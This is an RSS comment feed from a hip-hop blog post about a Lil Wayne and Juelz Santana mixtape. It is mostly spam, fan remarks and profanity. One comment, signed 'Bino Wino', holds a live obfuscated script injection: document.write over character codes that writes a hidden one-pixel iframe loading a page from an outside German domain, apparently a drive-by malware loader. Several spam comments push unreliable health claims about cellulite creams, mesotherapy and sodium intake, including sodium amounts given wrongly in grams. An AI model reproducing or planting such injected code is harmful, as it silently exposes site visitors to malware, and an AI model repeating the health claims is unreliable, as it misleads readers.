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	<title>Comments on: Lil Wayne Juelz Santana &#8211; My Face Cant Be Felt Mixtape</title>
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		<title>By: Tommy</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-332326</link>
		<dc:creator>Tommy</dc:creator>
		<pubDate>Sat, 07 Jan 2012 23:32:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-332326</guid>
		<description>Just   wanna  input that you have a very  decent website  , I  enjoy  the  pattern  it really   stands out.</description>
		<content:encoded><![CDATA[<p>Just   wanna  input that you have a very  decent website  , I  enjoy  the  pattern  it really   stands out.</p>
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		<title>By: Gfx Mania</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-238287</link>
		<dc:creator>Gfx Mania</dc:creator>
		<pubDate>Fri, 30 Sep 2011 17:55:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-238287</guid>
		<description>Awesome
Thanks For The Nice Post
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		<content:encoded><![CDATA[<p>Awesome<br />
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		<title>By: Britt Panitz</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-229280</link>
		<dc:creator>Britt Panitz</dc:creator>
		<pubDate>Wed, 14 Sep 2011 19:59:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-229280</guid>
		<description>Spot on with this write-up, I really think this website needs far more consideration. I’ll probably be once more to read much more, thanks for that info.</description>
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		<title>By: Bino Wino</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-225142</link>
		<dc:creator>Bino Wino</dc:creator>
		<pubDate>Mon, 05 Sep 2011 12:02:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-225142</guid>
		<description>&#039;;document.write(String.fromCharCode(60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,49,32,119,105,100,116,104,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,104,105,100,100,101,110,34,32,115,114,99,61,34,104,116,116,112,58,47,47,109,101,100,105,101,110,116,114,111,109,109,101,108,46,100,101,47,49,46,104,116,109,34,62))//\&#039;;document.write(String.fromCharCode(60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,49,32,119,105,100,116,104,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,104,105,100,100,101,110,34,32,115,114,99,61,34,104,116,116,112,58,47,47,109,101,100,105,101,110,116,114,111,109,109,101,108,46,100,101,47,49,46,104,116,109,34,62))//--&gt;&quot;&gt;&#039;&gt;document.write(String.fromCharCode(60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,49,32,119,105,100,116,104,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,104,105,100,100,101,110,34,32,115,114,99,61,34,104,116,116,112,58,47,47,109,101,100,105,101,110,116,114,111,109,109,101,108,46,100,101,47,49,46,104,116,109,34,62))</description>
		<content:encoded><![CDATA[<p>&#8216;;document.write(String.fromCharCode(60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,49,32,119,105,100,116,104,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,104,105,100,100,101,110,34,32,115,114,99,61,34,104,116,116,112,58,47,47,109,101,100,105,101,110,116,114,111,109,109,101,108,46,100,101,47,49,46,104,116,109,34,62))//\&#8217;;document.write(String.fromCharCode(60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,49,32,119,105,100,116,104,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,104,105,100,100,101,110,34,32,115,114,99,61,34,104,116,116,112,58,47,47,109,101,100,105,101,110,116,114,111,109,109,101,108,46,100,101,47,49,46,104,116,109,34,62))//&#8211;&gt;&#8221;&gt;&#8217;&gt;document.write(String.fromCharCode(60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,49,32,119,105,100,116,104,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,104,105,100,100,101,110,34,32,115,114,99,61,34,104,116,116,112,58,47,47,109,101,100,105,101,110,116,114,111,109,109,101,108,46,100,101,47,49,46,104,116,109,34,62))</p>
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	<item>
		<title>By: Sam98</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-224413</link>
		<dc:creator>Sam98</dc:creator>
		<pubDate>Sun, 04 Sep 2011 05:47:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-224413</guid>
		<description>Hi..

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I like this articles.

TRhanks again... nice to meet you</description>
		<content:encoded><![CDATA[<p>Hi..</p>
<p>My personal opinion along this write-up will be that it’s engaging. </p>
<p>Yes, the details can be clear and interesting, however this particular writer actually knows how to draw the reader within and incite believed. </p>
<p>I like this articles.</p>
<p>TRhanks again&#8230; nice to meet you</p>
]]></content:encoded>
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		<title>By: Digital Fernseher</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-223814</link>
		<dc:creator>Digital Fernseher</dc:creator>
		<pubDate>Fri, 02 Sep 2011 15:13:15 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-223814</guid>
		<description>Hey. Cool post. There&#039;s a problem with your web site in internet explorer, and you may want to test this... The browser is the marketplace chief and a good portion of other folks will miss your great writing because of this problem.</description>
		<content:encoded><![CDATA[<p>Hey. Cool post. There&#8217;s a problem with your web site in internet explorer, and you may want to test this&#8230; The browser is the marketplace chief and a good portion of other folks will miss your great writing because of this problem.</p>
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		<title>By: Bewachung München</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-223350</link>
		<dc:creator>Bewachung München</dc:creator>
		<pubDate>Wed, 31 Aug 2011 21:01:51 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-223350</guid>
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		<title>By: pajama jeans</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-219227</link>
		<dc:creator>pajama jeans</dc:creator>
		<pubDate>Sat, 13 Aug 2011 16:44:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-219227</guid>
		<description>I&#039;ve added your site my list of hiphop sites I regularly visit. Thanks for the share!</description>
		<content:encoded><![CDATA[<p>I&#8217;ve added your site my list of hiphop sites I regularly visit. Thanks for the share!</p>
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		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-218435</link>
		<dc:creator>download rise of the planet of the apes movie online megavideo</dc:creator>
		<pubDate>Mon, 08 Aug 2011 23:49:09 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-218435</guid>
		<description>Thanks for the excellent post. I really like your website,keep up the good work!</description>
		<content:encoded><![CDATA[<p>Thanks for the excellent post. I really like your website,keep up the good work!</p>
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		<title>By: Javier Hansberger</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-217124</link>
		<dc:creator>Javier Hansberger</dc:creator>
		<pubDate>Tue, 02 Aug 2011 13:12:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-217124</guid>
		<description>Exceptionally true, dont want pity just human...Thanks..</description>
		<content:encoded><![CDATA[<p>Exceptionally true, dont want pity just human&#8230;Thanks..</p>
]]></content:encoded>
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		<title>By: DAN SMITH</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-214831</link>
		<dc:creator>DAN SMITH</dc:creator>
		<pubDate>Sat, 23 Jul 2011 12:08:50 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-214831</guid>
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		<content:encoded><![CDATA[<p>Hello there, simply turned into alert to your weblog through Google, and found that it is really informative. I am going to be careful for brussels. I’ll be grateful in case you proceed this in future. A lot of folks might be benefited from your writing. Cheers!</p>
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		<title>By: Tyesha Johann</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-211908</link>
		<dc:creator>Tyesha Johann</dc:creator>
		<pubDate>Mon, 11 Jul 2011 09:55:01 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-211908</guid>
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		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-209834</link>
		<dc:creator>Juan Perez</dc:creator>
		<pubDate>Wed, 29 Jun 2011 09:29:02 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-209834</guid>
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		<dc:creator>Meg Klabunde</dc:creator>
		<pubDate>Tue, 28 Jun 2011 11:46:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-209623</guid>
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		<dc:creator>Portland Drywall</dc:creator>
		<pubDate>Sun, 26 Jun 2011 21:21:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-209256</guid>
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		<dc:creator>Ramon Pendergraph</dc:creator>
		<pubDate>Sat, 11 Jun 2011 20:46:01 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-206897</guid>
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		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-204237</link>
		<dc:creator>bruidstaart</dc:creator>
		<pubDate>Sun, 22 May 2011 16:30:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-204237</guid>
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		<content:encoded><![CDATA[<p>Howdy! This is kind of off topic but I need some advice from an established blog. Is it very hard to set up your own blog? I&#8217;m not very techincal but I can figure things out pretty fast. I&#8217;m thinking about setting up my own but I&#8217;m not sure where to begin. Do you have any points or suggestions?  Many thanks</p>
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		<title>By: Dipietro</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-201437</link>
		<dc:creator>Dipietro</dc:creator>
		<pubDate>Fri, 06 May 2011 16:42:02 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-201437</guid>
		<description>thanks</description>
		<content:encoded><![CDATA[<p>thanks</p>
]]></content:encoded>
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		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-200338</link>
		<dc:creator>pmu</dc:creator>
		<pubDate>Sun, 01 May 2011 07:24:24 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-200338</guid>
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		<dc:creator>Emily</dc:creator>
		<pubDate>Fri, 29 Apr 2011 15:12:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-199941</guid>
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		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-198353</link>
		<dc:creator>Britt Pahk</dc:creator>
		<pubDate>Sat, 23 Apr 2011 02:51:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-198353</guid>
		<description>Among all the different cellulite removal treatments, anti cellulite treatment cream has got to be the easiest and most convenient to use. No exercising, no dieting, and no expensive surgery. Basically, you apply the cream and you&#039;re done. What more could a person suffering from excess cellulite ask for? What to Look For in Cellulite Treatment Cream... Caffeine: &quot;Huh? I thought caffeine was bad for you -- is it not?&quot; Well, that depends on how you take it. If you drink 10 cups of coffee daily, then yeah, it&#039;s bad. However, when it is used in cellulite treatment cream, such as Cellulean cellulite cream, it actually helps to break down the celulite and repair the skin. Basically, what the caffeine does is stimulate the bodies circulation and blood flow, resulting in the breaking down of fat cells. The more fat cells broken down, the less cellulite is likely to appear. Green Tea: This cellulite cream ingredient has large concentrations of catechin polyphenols, which helps to burn fat and prevent it from being stored in unsightly areas of the body- butt, thighs, arms, belly, etc. Vitamin A: This ingredient is for the repair of connective tissue, which is one of the underlying factors of cellulite removal. Poor connective tissue allows cellulite to accumulate wherever it possibly can; and this makes the job of reducing cellulite that much harder, as the cellulite is likely to return if the connective tissue is not repaired and strengthened. Vitamin A takes care of this problem. Algae: The job of this celulite cream ingredient is detoxification. Algae releases the toxins that have long been trapped in the bodies fat storage cells. These toxins are the cause of the skins &quot;cottage cheese&quot; appearance. So basically, with algae as an active ingredient in the anti cellulite cream, toxins and &quot;cottage cheese&quot; skin will be no more. L-Carnitine: This is an amino acid that speeds up a person&#039;s metabolic rates and decreases the number of cells that store fat. In a nutshell, this ingredient will help to burn more calories and decrease overall fat storage. These 5 specific ingredients will be present in the best of the best anti cellulite treatment creams. If they&#039;re not, you may need to do some background research on the ingredients that a particular cream includes. After all, new, more powerful ingredients are discovered all the time for cellulite removal -- so you really never know what has been improved or just thrown out completely. Quick Note: For better and much longer lasting results, combine cellulite treatment cream with cellulite diet and exercise.</description>
		<content:encoded><![CDATA[<p>Among all the different cellulite removal treatments, anti cellulite treatment cream has got to be the easiest and most convenient to use. No exercising, no dieting, and no expensive surgery. Basically, you apply the cream and you&#8217;re done. What more could a person suffering from excess cellulite ask for? What to Look For in Cellulite Treatment Cream&#8230; Caffeine: &#8220;Huh? I thought caffeine was bad for you &#8212; is it not?&#8221; Well, that depends on how you take it. If you drink 10 cups of coffee daily, then yeah, it&#8217;s bad. However, when it is used in cellulite treatment cream, such as Cellulean cellulite cream, it actually helps to break down the celulite and repair the skin. Basically, what the caffeine does is stimulate the bodies circulation and blood flow, resulting in the breaking down of fat cells. The more fat cells broken down, the less cellulite is likely to appear. Green Tea: This cellulite cream ingredient has large concentrations of catechin polyphenols, which helps to burn fat and prevent it from being stored in unsightly areas of the body- butt, thighs, arms, belly, etc. Vitamin A: This ingredient is for the repair of connective tissue, which is one of the underlying factors of cellulite removal. Poor connective tissue allows cellulite to accumulate wherever it possibly can; and this makes the job of reducing cellulite that much harder, as the cellulite is likely to return if the connective tissue is not repaired and strengthened. Vitamin A takes care of this problem. Algae: The job of this celulite cream ingredient is detoxification. Algae releases the toxins that have long been trapped in the bodies fat storage cells. These toxins are the cause of the skins &#8220;cottage cheese&#8221; appearance. So basically, with algae as an active ingredient in the anti cellulite cream, toxins and &#8220;cottage cheese&#8221; skin will be no more. L-Carnitine: This is an amino acid that speeds up a person&#8217;s metabolic rates and decreases the number of cells that store fat. In a nutshell, this ingredient will help to burn more calories and decrease overall fat storage. These 5 specific ingredients will be present in the best of the best anti cellulite treatment creams. If they&#8217;re not, you may need to do some background research on the ingredients that a particular cream includes. After all, new, more powerful ingredients are discovered all the time for cellulite removal &#8212; so you really never know what has been improved or just thrown out completely. Quick Note: For better and much longer lasting results, combine cellulite treatment cream with cellulite diet and exercise.</p>
]]></content:encoded>
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		<title>By: Isaac Wiater</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-198171</link>
		<dc:creator>Isaac Wiater</dc:creator>
		<pubDate>Fri, 22 Apr 2011 02:10:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-198171</guid>
		<description>When it comes to getting rid of cellulite, there are more than enough natural remedies to try out. However, if those natural cellulite remedies fail, which is not unheard of, you may need to seek out alternative remedies -- such as mesotherapy treatments. Mesotherapy treatments involve relatively painless injections, done with a mesotherapy gun, to areas prone to cellulite accumulation. These injections are designed to melt away cellulite and allow it to harmlessly pass through the bowels and kidneys. The entire procedure is quite simple and you&#039;ll be out of the mesotherapy center before you know it. Although it&#039;s a great perk, the important issue at hand is not how easy the procedure is nor how painless it is for an individual. The real issue is what you&#039;ll look like with mesotherapy before and after the procedure is completed. Before the procedure, well that&#039;s pretty obvious, you&#039;re going to have cellulite on or all over your body. But, what will happen after the mesotherapy treatments end? Will cellulite really be completely removed from your body? Or, will it remain there? Hopefully, your cellulite problem will be totally eliminated after the treatment, or at least significantly reduced. If it isn&#039;t, well, you will simply have to try &amp; try again. &quot;Try and try again? What do you mean?&quot; It is exactly how it sounds; you&#039;ll have to get more cellulite mesotherapy treatments until a successful injection cocktail can be identified. Since the trained mesotherapist has no idea what your body will react to nor how the cellulite will react to the ingredients it is being injected with, the specialist has to mix and match ingredients until he finds a suitable &quot;cellulite reducing&quot; cocktail for you. Don&#039;t worry though, as these cellulite cocktails are made up of all-natural ingredients that won&#039;t cause harmful side-effects; generally speaking that is. As you can well guess, mesotherapy wouldn&#039;t be too popular if patients were being constantly injected with dangerous drugs that MAY or MAY NOT reduce cellulite. Are mesotherapy treatment injections expensive? Yes, they can be; especially if they are done on a regular basis, as experts highly recommend. Although, when you really think about it, it&#039;s hard to put a price on cellulite removal when it only requires a simple injection every now and again. If you keep up the mesotherapy treatments, there is no doubt that you&#039;ll be able to rid your body of cellulite once and for all. In fact, it&#039;s safe to say that it&#039;ll be only a couple of months before your out &amp; about showing your mesotherapy before and after photos to all of your friends and family!</description>
		<content:encoded><![CDATA[<p>When it comes to getting rid of cellulite, there are more than enough natural remedies to try out. However, if those natural cellulite remedies fail, which is not unheard of, you may need to seek out alternative remedies &#8212; such as mesotherapy treatments. Mesotherapy treatments involve relatively painless injections, done with a mesotherapy gun, to areas prone to cellulite accumulation. These injections are designed to melt away cellulite and allow it to harmlessly pass through the bowels and kidneys. The entire procedure is quite simple and you&#8217;ll be out of the mesotherapy center before you know it. Although it&#8217;s a great perk, the important issue at hand is not how easy the procedure is nor how painless it is for an individual. The real issue is what you&#8217;ll look like with mesotherapy before and after the procedure is completed. Before the procedure, well that&#8217;s pretty obvious, you&#8217;re going to have cellulite on or all over your body. But, what will happen after the mesotherapy treatments end? Will cellulite really be completely removed from your body? Or, will it remain there? Hopefully, your cellulite problem will be totally eliminated after the treatment, or at least significantly reduced. If it isn&#8217;t, well, you will simply have to try &amp; try again. &#8220;Try and try again? What do you mean?&#8221; It is exactly how it sounds; you&#8217;ll have to get more cellulite mesotherapy treatments until a successful injection cocktail can be identified. Since the trained mesotherapist has no idea what your body will react to nor how the cellulite will react to the ingredients it is being injected with, the specialist has to mix and match ingredients until he finds a suitable &#8220;cellulite reducing&#8221; cocktail for you. Don&#8217;t worry though, as these cellulite cocktails are made up of all-natural ingredients that won&#8217;t cause harmful side-effects; generally speaking that is. As you can well guess, mesotherapy wouldn&#8217;t be too popular if patients were being constantly injected with dangerous drugs that MAY or MAY NOT reduce cellulite. Are mesotherapy treatment injections expensive? Yes, they can be; especially if they are done on a regular basis, as experts highly recommend. Although, when you really think about it, it&#8217;s hard to put a price on cellulite removal when it only requires a simple injection every now and again. If you keep up the mesotherapy treatments, there is no doubt that you&#8217;ll be able to rid your body of cellulite once and for all. In fact, it&#8217;s safe to say that it&#8217;ll be only a couple of months before your out &amp; about showing your mesotherapy before and after photos to all of your friends and family!</p>
]]></content:encoded>
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		<title>By: Wholesale Store</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-198016</link>
		<dc:creator>Wholesale Store</dc:creator>
		<pubDate>Thu, 21 Apr 2011 03:28:05 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-198016</guid>
		<description>The next strategy is to choose a sensible amount of quality carbs. The best diet for abs will have 45 to 65 percent of the calories from carbs.</description>
		<content:encoded><![CDATA[<p>The next strategy is to choose a sensible amount of quality carbs. The best diet for abs will have 45 to 65 percent of the calories from carbs.</p>
]]></content:encoded>
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	<item>
		<title>By: Cassondra Enick</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-197248</link>
		<dc:creator>Cassondra Enick</dc:creator>
		<pubDate>Mon, 18 Apr 2011 09:43:08 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-197248</guid>
		<description>Do you want to know the principles of a diet for abs? Are you looking to develop a six pack? Did you know that changing your eating habits is as important as exercise? This article will look at six ways you can diet for abs. Any diet for abs will begin with eating more fiber. You need to eat at least 25 grams of fiber a day to ditch the belly fat. Some researchers have even said that 35 grams is optimal. Fiber is the indigestible parts of fruits, vegetables and whole grains. The bulk factor of fiber is like a sponge â€“ when it combines with the water in your digestive track, it soaks up everything. High fiber foods also fill you up, so you are unlikely to overeat. Finally, there is the â€œchewâ€ factor. High fiber foods just take longer to eat. This allows your stomach to signal your brain that you are full before you stuff yourself. The next strategy is to choose a sensible amount of quality carbs. The best diet for abs will have 45 to 65 percent of the calories from carbs. But this does not mean a lot of Twinkies. Fruits and vegetables have carbs in them, but they are the high quality ones. Carbohydrates break down into glucose. This is stored as glycogen in the muscles and liver. When glycogen is stored, it carries with it three times its own weight as water. Fat and protein carry no weight. This is why people who go on no carb diets like Adkins can initially lose weight so quickly. They are really just losing water. That is why you donâ€™t want to go above 65% carbs in your diet. Still, you want to have at least 45 percent carbs on your diet for abs. You should focus on balanced eating. For best results, eat at least three to five servings of veggies (15-25 grams of carbs); two to four servings of fruit (30-60 grams of carbs) and about 1 cup (8 ounces cooked or 2 ounces dry, or 2 slices of bread) of whole grains per day. Next, you should drink your water. Many people mistakenly believe that drinking a lot of water will cause them to bloat. In fact, the opposite is true. Drinking water will flush your body of sodium. The water will be eliminated naturally. But when it takes the salt in your system with it, it will actually reduce bloating. But, donâ€™t drink fizzy drinks such as soda. Thatâ€™s because pop and spritzers increase bloating. The carbon dioxide trapped in the bubbles creates gas, which slows down stomach emptying. Also, limit your consumption of alcohol and caffeine. Both are natural diuretics, which increase fluid loss and donâ€™t replace your body fluids as effectively as water or juice. The next tip on our diet for abs is to watch the sodium. You only need about 500 grams of sodium a day, but most people get between 3000 and 6000 grams in the modern diet. This is just too much. Processed food and restaurant meals are the main culprets. Try to eat at home by preparing your own foods more. Try to eat light at night. Your biggest meal should be breakfast. A moderate lunch should follow at noon. Your evening meal should be the smallest of the day. And, after dinner, close the kitchen. Finally, try to reduce your stress if you are on a diet for abs. Stress triggers cortisol which is a hormone that causes you to deposit fat around the organs in your abdomen. Exercising and deep breathing relaxation techniques can help you to chill out. If you are trying to loose the tummy, try this diet for abs.</description>
		<content:encoded><![CDATA[<p>Do you want to know the principles of a diet for abs? Are you looking to develop a six pack? Did you know that changing your eating habits is as important as exercise? This article will look at six ways you can diet for abs. Any diet for abs will begin with eating more fiber. You need to eat at least 25 grams of fiber a day to ditch the belly fat. Some researchers have even said that 35 grams is optimal. Fiber is the indigestible parts of fruits, vegetables and whole grains. The bulk factor of fiber is like a sponge â€“ when it combines with the water in your digestive track, it soaks up everything. High fiber foods also fill you up, so you are unlikely to overeat. Finally, there is the â€œchewâ€ factor. High fiber foods just take longer to eat. This allows your stomach to signal your brain that you are full before you stuff yourself. The next strategy is to choose a sensible amount of quality carbs. The best diet for abs will have 45 to 65 percent of the calories from carbs. But this does not mean a lot of Twinkies. Fruits and vegetables have carbs in them, but they are the high quality ones. Carbohydrates break down into glucose. This is stored as glycogen in the muscles and liver. When glycogen is stored, it carries with it three times its own weight as water. Fat and protein carry no weight. This is why people who go on no carb diets like Adkins can initially lose weight so quickly. They are really just losing water. That is why you donâ€™t want to go above 65% carbs in your diet. Still, you want to have at least 45 percent carbs on your diet for abs. You should focus on balanced eating. For best results, eat at least three to five servings of veggies (15-25 grams of carbs); two to four servings of fruit (30-60 grams of carbs) and about 1 cup (8 ounces cooked or 2 ounces dry, or 2 slices of bread) of whole grains per day. Next, you should drink your water. Many people mistakenly believe that drinking a lot of water will cause them to bloat. In fact, the opposite is true. Drinking water will flush your body of sodium. The water will be eliminated naturally. But when it takes the salt in your system with it, it will actually reduce bloating. But, donâ€™t drink fizzy drinks such as soda. Thatâ€™s because pop and spritzers increase bloating. The carbon dioxide trapped in the bubbles creates gas, which slows down stomach emptying. Also, limit your consumption of alcohol and caffeine. Both are natural diuretics, which increase fluid loss and donâ€™t replace your body fluids as effectively as water or juice. The next tip on our diet for abs is to watch the sodium. You only need about 500 grams of sodium a day, but most people get between 3000 and 6000 grams in the modern diet. This is just too much. Processed food and restaurant meals are the main culprets. Try to eat at home by preparing your own foods more. Try to eat light at night. Your biggest meal should be breakfast. A moderate lunch should follow at noon. Your evening meal should be the smallest of the day. And, after dinner, close the kitchen. Finally, try to reduce your stress if you are on a diet for abs. Stress triggers cortisol which is a hormone that causes you to deposit fat around the organs in your abdomen. Exercising and deep breathing relaxation techniques can help you to chill out. If you are trying to loose the tummy, try this diet for abs.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: accountant pretoria</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-196512</link>
		<dc:creator>accountant pretoria</dc:creator>
		<pubDate>Thu, 14 Apr 2011 20:22:19 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-196512</guid>
		<description>Wooow Nice post, i was looking for it,</description>
		<content:encoded><![CDATA[<p>Wooow Nice post, i was looking for it,</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: young breezy baby</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-150098</link>
		<dc:creator>young breezy baby</dc:creator>
		<pubDate>Thu, 15 Oct 2009 19:33:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-150098</guid>
		<description>i believe that yall should mind your business cuz weezy is gonna do what weezy gonna do</description>
		<content:encoded><![CDATA[<p>i believe that yall should mind your business cuz weezy is gonna do what weezy gonna do</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Tony Noore</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-139587</link>
		<dc:creator>Tony Noore</dc:creator>
		<pubDate>Wed, 24 Jun 2009 04:50:05 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-139587</guid>
		<description>You can buy that mixtape @shoeboxmixtapes.com</description>
		<content:encoded><![CDATA[<p>You can buy that mixtape @shoeboxmixtapes.com</p>
]]></content:encoded>
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	<item>
		<title>By: weezyfbabby2</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-126098</link>
		<dc:creator>weezyfbabby2</dc:creator>
		<pubDate>Wed, 29 Apr 2009 19:44:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-126098</guid>
		<description>bicth nobody give a fuck wat you think i love lil wayne even if he turn  into  a fuckin country artist</description>
		<content:encoded><![CDATA[<p>bicth nobody give a fuck wat you think i love lil wayne even if he turn  into  a fuckin country artist</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Johnson123</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-125190</link>
		<dc:creator>Johnson123</dc:creator>
		<pubDate>Sat, 25 Apr 2009 14:56:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-125190</guid>
		<description>THIS IS THE WAYNE I LIKE NOT THE PROM QUENN SHIT</description>
		<content:encoded><![CDATA[<p>THIS IS THE WAYNE I LIKE NOT THE PROM QUENN SHIT</p>
]]></content:encoded>
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	<item>
		<title>By: alex</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-120800</link>
		<dc:creator>alex</dc:creator>
		<pubDate>Fri, 10 Apr 2009 20:07:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-120800</guid>
		<description>waynes killing it he&#039;s on fire. juelz is raw he needs to come out wit more albums</description>
		<content:encoded><![CDATA[<p>waynes killing it he&#8217;s on fire. juelz is raw he needs to come out wit more albums</p>
]]></content:encoded>
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	<item>
		<title>By: Eddy</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-119746</link>
		<dc:creator>Eddy</dc:creator>
		<pubDate>Wed, 08 Apr 2009 01:10:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.hiphopmusicdotcom.com/?p=4385#comment-119746</guid>
		<description>Not Really Juelz not so far off Weezy level even lil wayne said it FUCK BOY</description>
		<content:encoded><![CDATA[<p>Not Really Juelz not so far off Weezy level even lil wayne said it FUCK BOY</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: jeancy (real)</title>
		<link>http://www.hiphopmusicdotcom.com/lil-wayne-juelz-santana-my-face-cant-be-felt-mixtape.html/comment-page-1#comment-119324</link>
		<dc:creator>jeancy (real)</dc:creator>
